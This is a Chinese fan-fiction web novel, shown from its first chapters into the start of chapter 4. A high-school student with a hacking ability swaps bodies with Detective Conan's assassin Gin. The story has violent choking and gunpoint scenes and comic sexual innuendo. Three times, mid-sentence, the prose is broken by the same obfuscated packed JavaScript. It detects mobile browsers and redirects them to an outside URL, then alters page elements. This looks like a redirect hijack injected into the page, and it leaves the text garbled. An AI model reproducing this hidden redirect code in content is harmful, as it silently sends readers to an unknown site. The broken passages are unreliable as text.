《我让琴酒成为恋爱脑》 1. 第 1 章 谁拿冰冻他屁股了? 这是相叶佑禾意识回笼之际心里冒出的第一个想法。 刺骨的寒气顺着屁股一路向上,冻得本该在沉睡中的他差点跳起来。 而就在此时,一道跟他一模一样的声音从背后传来。 “真相只有一个!” 铿锵有力的声音一听就气血十足,完全不像是他这个蹲久了起身都会两眼一黑的人说出来的。 相叶佑禾:不管你是谁,ooc了好吗! 他想要跳起来的动作也就此打断。 接下来更诡异的事情发生了。 相叶佑禾靠着的柱子后面伸出了一只小小的手,小手拖住他的手肘,将他垂在身侧的手抬了起来,指向对面。 小手的主人用相叶佑禾的声音道:“凶手就是你!山下一郎。” 相叶佑禾:“……” “什么?凶手竟然是他!相叶同学,这是真的吗?”毛利兰不可置信地惊呼出声。 紧接着,其他人的声音也纷纷响起,有反驳、有质疑、有不解……就是没人发现藏在他身后的小学生。 但这都不重要了。 想起来了,他全都想起来了。 今天放学后,相叶佑禾受到了甜品的诱惑,但在这样大雪纷飞的天气,用他这脆弱得像九块九包邮玩具的身体在外面逗留,多半会出问题。 可惜身体部长有自己的意志,在它的带领下,相叶佑禾饶了远路来到这家有名咖啡店买甜品,却没想到会在店里碰到他的同班同学—毛利兰、铃木园子以及一个小学生侦探江户川柯南。 虽然这么说很对不起同学,但——‘瘟神’×3,这真的很可怕。 像是下定了某种决心,相叶佑禾转头就走,却还是晚了一步。 突如其来的尖叫声刺破耳膜。 与店门仅有一步之遥的他被死神魔鬼的童音叫了回来。 接下来,他幸运的没有成为嫌疑人之一,却不幸的被江户川柯南选中,当了一回破案工具。 ——《沉睡的高中生侦探相叶佑禾,初登场。》 相信在铃木园子的大嘴巴之下,明天他的光荣事迹将传遍整个班级,继消失的工藤新一之后,2年b班又迎来了一位新的高中生侦探—他本人,相叶佑禾。 相叶佑禾泪流满面了。 不要啊,那种事情绝对不要啊! 他辛辛苦苦裹了十多年的马甲! 相叶佑禾,今年十七岁,身体虽然柔弱,但确是个头脑异于常人的——异能者。 为了避免一些麻烦,他隐藏异能者的身份,平日里装作平平无奇、无论是性格还是智商都扔进人群里一抓一大把的普通人。 低调、没有存在感——是他的人生信条。 现在却因为江户川柯南,让他成为了全场的焦点。 相叶佑禾的心在颤抖。 偏偏高木涉还感叹:“哎呀,没想到相叶君竟然这么聪明,那些细节连我们警方都没有注意到呢。” 铃木园子也说:“说起来,明明是同学,我以前只注意到他那张帅脸,却没发现他脑子也这好,该不会一直在藏拙吧?” “阿嚏——!”生气却依旧要装作一无所知,任江户川柯南使用的工具人打了个响亮的喷嚏。 空气短暂陷入安静。 屋里因为暖气意外停止变得很冷,而相叶佑禾却一直曲腿坐在冰凉的地面上,不用想都很冷。 毛利兰率先反应过来,朝他走去:“相叶同学,地上太冷,你还是先起来吧?” 惨了。 江户川柯南手忙脚乱地握住变声器:“呃……小兰姐、毛利同学!不用!我就喜欢这样!” 相叶佑禾:“?”小子,你在说什么? 毛利兰:“啊?” 江户川柯南满头大汗地找补:“那个、我是毛利先生的粉丝,特别崇拜他!一直想学着他的样子破一次案,所以……请让我用这副姿势进行到最后吧!拜托了!” “呃……啊、原来如此。”众人露出豆豆眼。 相叶佑禾天塌了。 可恶的工藤新一!竟然给他搞出这么中二的人设! 他恨不得现在就蹦起来拆穿身后的小学生,可这样带来的后果远比毛利小五郎粉丝麻烦得多,最终忍了下来。 相叶佑禾磨牙,工藤新一,你给我等着。 两分钟后,案件结束,相叶佑禾‘悠悠转醒’,在毛利兰的搀扶下,用他那已经成为冰柱的双腿站了起来,跟康复训练似的。 “哥哥喝水~”心虚的江户川柯南把热水举到他面前。 “多谢。”相叶佑禾假惺惺的回答着,吨吨吨将热水喝下,拒绝了同学和警方的好意,迈着僵硬的步伐离开。 真对不起,事出突然,没来得及让他坐在椅子上,希望相叶同学不要感冒才好。 江户川柯南看着少年消失在门口的身影,愧疚地扶了扶镜框。 “小兰姐姐,我们……”他刚转身,左边口袋响起了来电铃声,不等他去掏手机,右边口袋也响了起来。 江户川柯南:!! 那是工藤新一的手机,他明明已经静音了,怎么会…… “柯南,你怎么会有两个手机?” “啊?这!这是因为……” *** 在江户川柯南焦头烂额的解释时,昏暗的小巷之中,粉发少年安静地站在厚厚的积雪上,他微垂着头,摊开的手心被一圈又一圈的幽蓝色代码缠绕,微弱的光芒照映在脸上,神秘又幽幻。 异能力——普罗米修斯。 通过电脑、手机、智能手表、联网眼镜等电子设备发动,但并不需要他操作,那些代码会自动组成他想要的信息、或是进攻他人的网络。 是他得意,却又想不曾拥有就好了的黑客能力。 他手指合拢,代码与幽光顷刻间消失不见,他又变回了那个普通的少年。 “嘛,这可不怪我。”相叶佑禾将手揣进口袋里,勾了勾唇:“毕竟是你先给我带来麻烦的,工藤新一。” “阿嚏——!”相叶佑禾裹紧身上的大衣,如同蝴蝶振翅一般,迈着两条腿颤颤巍巍地往前方走去。 都怪工藤新一那家伙,让他在大冬天在地上坐了这么久,回去肯定要发烧了。 出来时特意选了和他们相反的方向,虽然绕了一点,但好歹避免了再和那个麻烦精走一起。 只要走出这条小巷,就能打车了。 打上车,就能进到温暖的空间了,然后就能回家,他要先吃甜品,再…… 一丝淡淡的烟草味涌入鼻腔,相叶佑禾沉重的大脑卡壳了一下,他抬起头,朝烟雾飘来的地方看去。 在这条被雪夜笼罩的巷子尽头,一道黑色的身影静静伫立在墙边,几乎与夜色融为一体。 借着昏暗的灯光,相叶佑禾还是看到了。 那是一个高大的男人,他有着一头比雪还要干净的银发,如墨的风衣随风肆意翻飞,搅乱了落在他四周的雪花,让他那一身肃杀之意更加凛冽。 修长的指间夹着一点猩红,他吐出一口气,烟雾模糊了他的面庞,下一秒,被寒风无情的扯碎,消散在夜空中。 似乎察觉到动静,他敏锐地侧过头,相叶佑禾仿佛被山中的豺狼虎豹盯上,浑身血液都凝固了起来。 “阿嚏——!”喷嚏虽迟但到。 相叶佑禾看了两眼便收回目光。 昏沉沉的脑袋让他的视线都有些模糊了,他摇了摇头,又动了动口袋里僵硬的手指,在心中又骂了一句:都怪工藤。 回去还是先吃药再吃蛋糕吧。 他继续双腿抖得如蝴蝶振翅般往前走,并祈祷那边的路人不要对他投来奇怪的目光。 算了,这黑灯瞎火的,也看不清他长什么样,奇怪就奇怪吧。 就当他即将路过男人时,一声冷笑传来。 “呵。” 与此同时,一只冰凉的手扣住相叶佑禾的喉咙。狠辣、果断。 风在耳边呼啸,他的身体狠狠砸到了墙上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934717|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咳……”痛意从胸口蔓延直全身,生理性的泪水从相叶佑禾眼中流出:“你搞什么?!” 他不会又碰到案件了吧? 该不会江户川柯南那小子还没回家,就在他不远处? 手的主人微微俯身,香烟的气息扑面而来,琴酒高大的身体将少年整个笼罩住。 他唇角微勾,扯出一抹笑。露出的牙齿在积雪反射的光芒下,泛着森然的寒意,像是藏匿在暗处的野兽终于抓到猎物,尽情地露出獠牙。 “以为以那种可笑的姿态接近我,就能让我放松警惕吗?”他喉咙里溢出一声不屑地低笑,居高临下的点评:“愚蠢的家伙。” 相叶佑禾:“?” 你大爷的,谁要接近你了? 喉咙处的窒息感让相叶佑禾混沌的大脑清醒不少,他一只手藏在口袋里偷偷用异能力报了警,对象是正在回警局路上的目暮十三。 他们距离此处不远,应该能很快赶过来。 “松手……你这个……自恋狂。”他伸出另一只手拽住琴酒的手,掰了掰,没掰动。 相叶佑禾:……… 他这连只大鹅都不如的战斗力! 两只手都伸出来后,口袋自然瘪了下去,琴酒眉头微动。 原来不是手枪么…… 注意到他那挠痒痒的力度,琴酒嗤笑一声,手上力度不减反增:“呵,就算你真是无辜的路人好了,可惜现在,你也只有死的份。” 你*** 相叶佑禾怒火中烧,不知道是因为窒息还是发烧的缘故,眼前浮现阵阵黑晕。 昏暗的路灯闪烁了两下,风似乎消失了,正在洋洋洒洒落下的雪花停在了半空中,整个世界寂静得可怕。 一秒,还是两秒,等视野再次清晰时,形势逆转了。 相叶佑禾成为了扣住别人喉咙的猎人。 “咦?” 难道说……他重生了? 重生在被变态男人掐住喉咙之前,并且拥有了一副高大强壮的身体,这次,他一定要对方尝一尝窒息的滋味……等等。 相叶佑禾发现事情好像没有那么简单。 因为被他锁住喉咙的不是银发男人,而是——他自己?! 琴酒的呼吸变得困难起来,头部沉重得可怕,却清晰地看到了面前一头银发、满脸狠辣的他自己。 “你做了什么?”他咬牙切齿地抓住对方的衣领,不论是眼前人的外表还是自己的无力感都让他清楚的知道,这不是他自己的身体。 他和这个粉头发的小鬼——身体互换了! “靠!”看着缺氧满脸通红的粉毛琴酒,相叶佑禾连忙收回手,少了他的支撑,对方正在发烧的身体顺着墙缓缓跌落。 缓缓跌落? 相叶佑禾垂头,看到了因为发烧晕过去的粉毛琴酒。 “大哥!我回来了。”一身黑西装的男人小跑过来。 相叶佑禾转身用身体遮住地上的粉毛琴酒,警惕地朝来人看去,却对上了一双黝黑的墨镜。 相叶佑禾:“……” 能在这么黑的夜晚坚持戴墨镜,他做什么都会成功的。 伏特加问:“大哥,你之前说,我们今晚杀谁?” 杀谁? 他怎么知道。 远处传来警笛的声音,相叶佑禾可不想代替这个银发男人进局子,但这个新来的墨镜小弟也是个问题…… 相叶佑禾微微思索了两秒,往后退了一步,露出躺在雪地里的粉毛高中生琴酒。 伏特加诧异:“咦?这是谁?” “今晚不杀人。”相叶佑禾答非所问,小心翼翼抱起地上的自己,感受到裸露出来的肌肤烫得惊人,他面容凝重:“我有别的急事。” 粉毛琴酒即使被身体拖累,在睡梦中也保持着几分警惕,他迷迷糊糊地抓住手边的衣服,恶狠狠地说:“给我……”换回来。 剩下的声音没能说出来,只有满脸潮红和难受的喘息。 伏特加如遭雷劈。 2. 第 2 章 什么? 伏特加脑子宕机了。 他他他……他没听错吧? 伏特加目光不受控制地落在两人的身上。 透过大哥的风衣,他清晰的看到,这个陌生少年的脸上爬满了不自然的红晕,呼吸急促,像是受了刺激一样,他浓密的睫毛轻轻颤抖着,如同翩然振翅的蝴蝶,上面点缀着的晶莹泪珠,折射出绚烂的光彩,为冰天雪地的世界中带来几分不属于这个季节的春色。 他纤细的手指紧紧攥住大哥的衣角,指尖泛白,却因为身体的无力只能给大哥的衣角添上几分凌乱。 这幅场景,再加上刚才从少年嘴里吐出的话…… 大哥给他喂药了? 大哥居然这么急不可耐?! 等等!大哥居然随身携带那种药? 不对!以大哥的能耐,怎么可能需要用药那种东西?肯定是强取豪夺,对方反抗得越激烈大哥越兴奋。 伏特加脑海里甚至浮现出了画面—— 粉毛少年扯住衣服满脸害怕地喊‘雅蠛蝶~’。 银发杀手撕裂衣服‘哼,叫吧,为我们这场欢愉增添更多的兴味吧。’ 伏特加心中佩服:不愧是大哥! 相叶佑禾走的时候偷偷瞥了眼身后的壮汉小弟,不知道对方呆愣在原地,是因为他刚才ooc了察觉到不对,还是其他什么。 总之现在什么都没有他的身体重要,再在雪地里待一会说不定要嗝屁了。 虽然就这样拥有一副强壮的身体也是不错的选择,但这个银发男人一看就麻烦得不行,说不定比他这个异能者还要麻烦。 他才不要这样的生活! 相叶佑禾不管身后的大块头,大步向前,对方却突然反应过来一般,小跑着越过他,在前方的一辆保时捷旁边停下,很有眼力见的打开了后车门。 相叶佑禾犹豫了几秒,可现在好像没有更好的选择了。于是只能踏进去。 车内温暖的气温对琴酒的身体来说没多少感觉,但对相叶佑禾绝对是天堂。 他把粉毛琴酒放在后座,觉得光这样还不够,干脆果断的将身上这件风衣脱下来,打算盖在对方的身上。 可别冻坏了他的宝贝身体。 至于琴酒的身体会不会因此生病……管不着呢~ 伏特加是个贴心的小弟,见大哥如此迫不及待,立即将车门关上,并背对着车站起了军姿,眼观鼻鼻观心。 他绝不多看多听,不、看还是要看的,就用他这双铜铃大的眼睛把那些路过好奇的人通通瞪走。 尽管路上只有干净的雪。 不过这警笛声怎么离他们越来越近了?难道不是附近发生了案件…… 盖好衣服还没等到车子发动的相叶佑禾:“?” 他放下车窗:“你站那做什么?” 胡思乱想中的伏特加吓了一跳,随后恍然大悟,确实,这种事有人旁听像什么样子。 “我知道了大哥!” 他一拍脑门,转身往车子反方向跑去。 相叶佑禾刚贴到车坐垫上的屁股又抬了起来,连忙喊:“等等,你去哪?我们不走吗?” 大块头听到后立即停下步伐。 相叶佑禾也悟了! 他这句话似乎不太符合那个一言不合就杀人的杀手。 想了想,模仿着琴酒先前凶恶的样子,沉声补充:“警察离我们越来越近了。” 不愧是大哥,压根没有被欲望冲昏头脑。 伏特加又匆匆回到车上:“大哥说的没错,我们还是先离开这里比较好。” “不过……我们现在去哪?” 他们的安全屋离这太远了,瞥了眼后座‘火热’的情况,伏特加提出意见:“是去找个酒店吗?” 酒店…… 相叶佑禾觉得大块头不愧是琴酒的小弟,人都发烧成这样了,却只想着去酒店休息。 冷漠的犯罪分子,还是别指望他们有什么同理心了。 医院和酒店都不能去,这两个犯罪分子的打扮、长相都太惹眼了,更别说还抱着个高中生,一定会给人留下深刻的印象,说不定前脚进门后脚就被当成绑架报警。 至于他们的地盘完全不在相叶佑禾考虑的范围内,他看了眼自己的身体,最终报了家的位置:“去这个地方。” 这里离他家最近,家里各种各样的药都非常齐全,退烧药更是必备品,况且,他也需要一个熟悉的环境来思考现在的情况、以及做些准备。 “好!”不会让大哥憋太久的! 伏特加没有犹豫,调整方向盘、踩下油门,车子如同一支箭矢,‘嗖’地驶出老远。 相叶佑禾差点摔了个狗吃屎,好在琴酒的身体素质很好,又手长腿长的,随便一撑就稳住了身体,顺便把快掉下去的粉毛琴酒捞了回来。 这一折腾,让本来就因为身体不适备受煎熬的琴酒,抑制不住地闷哼出一声。 他可怜的身体! 相叶佑禾心疼坏了,脱口而出:“麻烦你开稳一点!” “好、好的大哥。”被凶了的伏特加委屈巴巴,甚至忽略了对方话里的敬语。 蓝颜祸水啊! 相叶佑禾伸出冰凉的手贴在粉毛琴酒那滚烫的额头上,物理降温。 可能没什么用,但也没办法看着自己的身体痛苦,却什么也不做。 相叶佑禾并不知道这一小小的举动看在伏特加眼里,引发了怎样的惊讶。 *** 车子很快来到他的住所,相叶佑禾用风衣把粉毛琴酒裹得严严实实的带回了家。 进门后,他看了眼身后的伏特加,正当他纠结‘进来’还是‘回去’更符合琴酒一些时,伏特加率先说:“那大哥,我就不打扰你们了,有事叫我。” 走前还轻轻将门带上。 是个有眼力见的小弟。 确认伏特加确实离开后,相叶佑禾不再耽搁,将琴酒放到床上,先去接了盆温水,打湿毛巾盖在琴酒额头上。 在这期间,他终于有空检查异能力了。 “普罗米修斯。” 幽蓝色的代码从手机中飞出,一圈一圈的缠绕在手边。 还在,看来异能力是跟随灵魂的。这让相叶佑禾重重松了口气。 他一边去拿退烧药、酒精等等时,一边从漂浮中的代码某处抓去,随后,掌心里浮现出银发男人的资料。 黑泽阵,代号琴酒。黑衣组织的头号杀手,重要干部之一。 黑衣组织…… 好熟悉,好像在哪里听过。 不过这个可以先放放,相叶佑禾解除异能力,端着水和药来到房间里。 他看着躺在床上的琴酒犯了难。 问题来了,该怎么喂他吃药呢? 相叶佑禾戳了戳他的胳膊:“喂,醒醒。” 琴酒双眼紧闭,毫无反应。 又大声叫了几遍,叫不醒后相叶佑禾忍不住叹气。 “真是个麻烦的家伙。” 他伸出手,正准备掰开琴酒的嘴试试能不能强行喂下去时,对方‘唰’地睁开了眼。 伸出去的手被人抓住猛地往前一拽,来不及反应,喉咙便被一只滚烫的手扣住,相叶佑禾眼前一花,只听“砰”地一声,他便被人按倒在了床上。 粉毛琴酒压在他身上,左手死死扣住他的脉搏,膝盖抵住他的腿令他无法动弹,眼中满是狠戾。 形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934718|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势逆转。 相叶佑禾懵了一瞬。 脑子里浮现出一些不合时宜的想法。 厉害了,他从来不知道自己的身体能这么敏捷,还是在叠了高烧debuff的情况下。 怎么做到的? “说,你是谁?对我做了什么?”琴酒呼吸凌乱,气势却丝毫不减。 随着他的逼近,阴影洒落在身上带来极强的压迫感,灼热的气息喷出,似在岩浆边行走,凶险万分。 相叶佑禾的心不由自主狂跳,被野兽盯上的感觉让他浑身紧绷。在看到他顶着自己那张脸后,又冷静下来。 虽然不了解琴酒,他却十分了解自己。这具身体看上去再有气势,此刻也只不过是强弩之末罢了。 “这句话应该换我问才对吧?”相叶佑禾抓住琴酒的手,稍微用力就将其拽开。 不能示弱,面对一个邪恶组织的头号杀手,但凡示弱接下来他只会陷入更危险的境地。 “差点被你杀掉,又莫名其妙互换了身体,该不会是你这糟老头馋年轻人的□□,所以去搞了什么邪门的诅咒来吧!” 相叶佑禾越说越觉得有道理,琴酒从来没有否认过他是异能者! 他的质问并没有让琴酒冷静,反而更加烦躁。 这就说明相叶佑禾也不知道怎么换回来。 一阵阵的眩晕让琴酒无法好好思考,瞥见轻轻松松就被相叶佑禾钳制住的手,又感受着这副垃圾身体的无力,他眉眼愈发阴鸷。 “呵,我还不屑于要你这副狗都不如的身体。” 相叶佑禾觉得被侮辱了。 他火气上来了,一把将手里的退烧药扔到琴酒身上:“既然那么有精力就自己吃!” 琴酒:“滚。” “不吃也行,你就发烧烧死吧,到时候连狗都不如的身体都没有。”相叶佑禾嘲讽完,去厨房拿了个鸡蛋回来,顶着琴酒吃人的目光悠哉悠哉地抛了抛:“正好用你的脑袋烫个鸡蛋,省电。” 琴酒冷冷瞥了他一眼,不想跟人进行这种无谓的争执。 用这双已经烧花了的眼睛检查了一遍药,确定是退烧药后,拆开包装吞了下去。 相叶佑禾微不可查的松了口气。 琴酒:“水。” 相叶佑禾本来不想给,但听到他的嗓子干哑得可怕,受罪的还是自己,又不情不愿地递过去。 “你先喝一口。”琴酒沙哑的声音响起。 相叶佑禾无语:“我又不是脑子有病,给自己的身体下毒有什么好处。” 要下毒也是下给琴酒的身体。 他喝了一口递过去:“这样行了吗?” 是个天真的小鬼,一心扑在自己的身体上。量他也不敢做什么坏事。 现在转移地点不是一个好选择。 琴酒喝完后直接躺下,睡前还威胁道:“给我安分点,别试图做自寻死路的事。” 气得相叶佑禾险些给他来一套组合拳,就在这时,手机铃声响起。 他循着声音从校服口袋里掏出手机,看也不看就接通,语气中还带有没缓过来的怒气:“喂。” 他正准备出去客厅里讲电话,省得吵到琴酒时,头发被什么勾住,转头发现是挂在衣架上的校服。 相叶佑禾不得不停下来先解决头,一边扯一边吐槽。 留这么长的头发干什么! 不过手感真好啊,好像还香香的,用了什么洗发水? 相叶佑禾揪起一缕头发放在鼻尖,试图分析出是什么洗发水时,身后传来阴恻恻地声音:“你要对我的身体做什么?” 电话另一头。 早在第一声‘喂’时,就浑身僵硬的江户川柯南,瞳孔一缩。 3. 第 3 章 毛利侦探事务所里。 江户川柯南僵硬在原地,死死捏着手机,一动不动。 琴酒。 那个人是……琴酒!! 可是他拨打的明明是相叶佑禾的手机,为什么会出现琴酒的声音? 不等江户川柯南思考更多,相叶佑禾干涩沙哑的声音从电话筒里传来。 “你要对我的身体做什么?” 紧接着,那边响起一道重物落地的声音。 江户川柯南猛然惊醒。 相叶佑禾有危险! 那家伙要对相叶佑禾做什么?! 柯南来不及思考,只能用尽全身力气大喊:“相叶哥哥!!” 拜托了,一定要被琴酒听到,转移他的注意力! *** 江户川柯南的声音确实起到了作用,还不小。 本该睡着的粉毛琴酒悄无声息的出现在身后,相叶佑禾吓了一跳,猛地往后退,却不小心撞到了衣架,在他抓住之前,衣架落地发出‘砰’地声响。 空气中陷入短暂安静。 在琴酒‘你这废物搞什么吵死了’的眼神中,相叶佑禾理直气壮地瞪了他一眼,他抬头挺胸正要质问这个混蛋不好好睡觉,爬起来吓人时,被电话里那道响亮的‘相叶哥哥’打断。 江户川柯南? 工藤新一啊…… 这家伙为什么打电话给他? 他哪来的电话号码? 等等,他想起来为什么会觉得黑衣组织熟悉了! 那不就是工藤新一和灰原哀正在追查的组织吗? 相叶佑禾露出死鱼眼。 会知道这件事还多亏了江户川柯南和灰原哀自以为拥有队内语音,不管附近有什么人就突然说起重要秘密的谈话,害得他都来不及躲。 别人有没有听到不清楚,但他当时恨不得来个现场失聪。 跟江户川扯上关系,那就代表了接下来会有源源不断的麻烦找上门,更别说相叶佑禾自己除了异能力外,还有一些不能被发现的秘密。 要是被柯南知道,说不定就要沦落为他的工具人了,躲都躲不开的那种。 所以他只当没听到,没有再深入探究。 有些东西还是不知道最好,毕竟演技永远比不上真实反映带来的效果。 可惜兜兜转转,还是逃不开。 悲伤。 相叶佑禾45度角仰望天空。 不过来不及自闭了,现在最重要的是把明显不对劲的柯南糊弄过去! 不知道他是从什么地方发现不对,总之用着琴酒身体的自己绝对不能说话。 防止柯南因此盯上他。 相叶佑禾把听筒堵住,手机远离嘴边后,意味深长地对琴酒说:“先生,你也不想我们的事被别人知道吧?” 粉毛琴酒双手抱胸,给了他一个废物的眼神。 用一米七的身体展现出了一米九的气势。 “一个小鬼都糊弄不过去?” 无知的杀手啊,你知道你口中的小鬼是谁吗?! 那可是有平成时代福尔摩斯之称的名侦探!单枪匹马就赶追查你们组织还没被发现的神人! 如果不是担心自己被牵扯进去,相叶佑禾非要琴酒体会体会柯南的可怕之处。 “我平时都是独来独往,家里突然出现一个陌生人还发出了一些可疑的动静,不觉得很可疑吗? 这小孩不棘手,但是他身后那位有名的毛利侦探可是非常敏锐,你想我们因此被盯上吗?” 骗他的。 江户川柯南根本不知道相叶佑禾的家庭情况。 琴酒嗤笑一声:“毛利小五郎?” 那个被FBI‘利用’过的侦探。 嚣张的topkiller嗤之以鼻,不过两人互换身体,到底给他带来了很多麻烦和不便。 多一事不如少一事。 “拿来。”琴酒摊开手。 毛利小五郎——一款超好用的工具! 在心里对毛利先生道歉后,相叶佑禾将手机递过去。 当对方即将接住时又收回来:“语气要温和,用词要有礼貌,扔掉你的‘滚’,把请和谢谢挂在嘴边。谢谢合作。” ‘傻逼’——琴酒的眼里这么写着。 相叶佑禾:私密马赛,没学过看眼识字。 “你也不想我用你的身体做一些奇奇怪怪的事吧?” “闭嘴。”不想听他的废话,琴酒一把夺过手机。 相叶佑禾:盯—— 他不会放过琴酒的,他会一直、一直监视他,直到讲完电话。 另一边的小学生也不放过他:“相叶哥哥你怎么不说话?相叶哥哥快回答我!” 琴酒释放的寒气堪比艾莎:“我很好。” 江户川柯南身体一僵,一道寒意从脚底蔓延至全身。 那毫无疑问是相叶佑禾的声音,即使感冒让喉咙沙哑、鼻音嗡嗡的,也带着他独特的、不具备攻击性的温和。 但是,却让他心底泛起一阵冰凉。 这种感觉……就像是在面对组织成员。 是因为一开始听到的那声酷似于琴酒的‘喂’吗? 还是相叶佑禾温和的声线里也难以掩盖的不耐烦? 江户川柯南打算再试探试探。 “是吗?那真是太好了!”小学生满头大汗,谨慎地卖着萌:“相叶哥哥你刚才在做什么呀?我听到了好——大一声巨响,之后你就没有声音了,是受伤了吗?需不需要我叫毛利叔叔……” 琴酒的眉头越皱越紧,如果柯南在这,恐怕会被强制性永久闭上嘴巴。 来了,秘技——柯南纠缠术。 用在自己身上就很难受了。 相叶佑禾拍了拍琴酒的肩膀,放慢速度让他能看清自己的口型:“谢谢你的关心,我没事,但我生病了,刚吃完药想要休息了,明天再说好吗?” 琴酒不悦地挥开他的手,直接挂断了电话。把手机扔了过去:“别用我的脸做这种蠢事。” “你在干什么!”相叶佑禾满脸凝重。 你知道你得罪的是谁吗? 那可是走哪都会发生案件的江户川! 明天他来家里就完了,他可不想家里——不对,他家只有他一个人。 “没功夫陪你玩哄孩子的游戏。”琴酒说完,转身离开。 相叶佑禾拳头硬了。 当杀手这么没耐心,这个第一的名号一定掺了不少水分! 不过转念一想,挂断电话好像也是不错的选择,不用提心吊胆的怕琴酒说错什么。 相叶佑禾点开聊天框给江户川柯南编辑了一条短信:【非常抱歉,刚才脑袋太晕不小心按到了挂断键,喉咙不舒服我就不打电话了,柯南,谢谢你的关心……】 将刚才琴酒没有说的话编辑好发送过去后,相叶佑禾又等待了一会,没有接到回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14934719|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电而是同样的短信、且是来自毛利兰的回复后,终于松了口气。 和好奇心太重的侦探相比,毛利兰简直是天使! 某个因为大喊大叫被制裁了的小学生:火大! 相叶佑禾心情总算好一点了,抬头,便看到罪魁祸首已经如大爷一般在床上躺下,双眼紧闭,似乎已经熟睡。 相叶佑禾:“……” 一股无名火冒了出来。 他走过去,目光落到琴酒那紧皱的眉头上。 算了,苦了谁都不能苦了自己。 他把盖到胸口的被子往上提,除了脑袋,其余地方都遮得严严实实,又重新洗了下毛巾放在琴酒额头上,本来还想用酒精擦一擦身体的,奈何杀手并不领情,恶狠狠地说什么“别碰我!” 搞清楚,那到底是谁的身体! 他想怎么碰就怎么碰! 大约是身体到达极限了,琴酒在那之后就陷入了沉睡。 该做的都做了,保证身体不会有大碍就行,相叶佑禾乐得清闲。 他从卧室出来,将门关好后来到客厅里。 不算大的客厅却给了相叶佑禾良好的环境,总算能安静思考了。 首先,他们两人为什么会灵魂互换。 从调查的资料来看,琴酒不可能是异能者,除非他隐藏得很深,但看今晚的种种,很明显他不知情。 而相叶佑禾自己网络专精的异能力更不可能了。 当时的巷子里只有他们两个人,有第三个异能者存在的情况也可以排除。更别说那群只有横滨作为容身之处的野犬们,不太可能会出现在日本境内的其他地方。 如果不是因为一场意外来到米花町,他或许还在横滨,继续过着令人讨厌的生活吧…… 如果不是今天情况特殊,他根本不会使用异能力!而是一直作为一个符合米花町的‘普通人’生活下去。 没想到今天会破例,并且还相当奢侈的使用了三次。 一次工藤新一两次琴酒。 即使因为小蛋糕造成了这样的局面,但错的不是小蛋糕,而是工藤新一和琴酒。 对了,小蛋糕。 相叶佑禾拆开蛋糕,以虔诚地姿态将它捧出来,习惯性地掏出手机拍了两张照片,打算发到社交平台时,顿住。 等等,他因为发烧正在休息,发动态被同学看到,江户川柯南不就知道他骗人了吗? 可是不分享又很难受,这可是他为数不多的爱好之一。 目光落在左边微鼓的裤兜处,相叶佑禾掏出了这支属于琴酒的手机,露出了邪恶的微笑。 这是他不配合说台词,还挂断江户川电话应得的。 点开琴酒的手机,却发现对方压根没下载社交软件。 不过这根本难不倒相叶佑禾。 他随机挑了个没有备注的号码,选中蛋糕图片,发送。 相叶佑禾小仇得报,神清气爽,准备开始享用蛋糕。 就在这时,一只滚烫的手紧紧扣住相叶佑禾的喉咙,额头上被冰凉的硬物抵住。 那是——手枪。 琴酒从后面俯身,唇瓣贴在相叶佑禾耳畔,粗重的喘息带着湿热喷洒而出,如情人诉说衷肠,却又如毒蛇吐信,带着致命的危险。 “终于露出马脚了,小废物。” 相叶佑禾:??? 不是,大哥、大爷!您老人家怎么还没睡?!还把他藏起来的枪给摸走了! 4. 第 4 章 “说吧,你在我的手机里找到了什么?”琴酒的半个身体压在了他身上,灼热的气息让相叶佑禾感到无所适从。 可是他一动,那把□□便更贴紧几分。 ——即使那只握着枪的手,因为体力不支正在颤抖,他也让枪口死死压住太阳穴。 相叶佑禾咽了咽口水:“你刚才是装睡?” 琴酒不置可否:“不然我怎么能发现一只老鼠偷偷摸摸地做见不得人的事?” 在一个陌生人、还是先前差点被他杀掉的陌生人家里,手机、手枪都被拿走,不先确定一下对方是否真的如白表现出来的这般无害,他怎么可能让自己睡着。 眩晕感接踵而至,脑袋疼得仿佛要炸开一般,即使琴酒尽力掩饰,粗重的喘息也骗不了人。 “我没找什么,你先坐下来,我可以把手机给你看。” 相叶佑禾快给他跪了。 他承认琴酒作为杀手意志力很强行了吧,但是能不能不要用会透支他身体使用年限的行为来展示,最后承担损伤的还是他自己! “我的耐心有限,快点说,如果不能让我相信……”琴酒的目光落在那块粉粉嫩嫩的蛋糕上:“它很适合作为你死后的贡品。” “……你们杀手都这么说话吗?”这也太中二了吧,相叶佑禾把手机递了过去:“是蛋糕图片啦。” 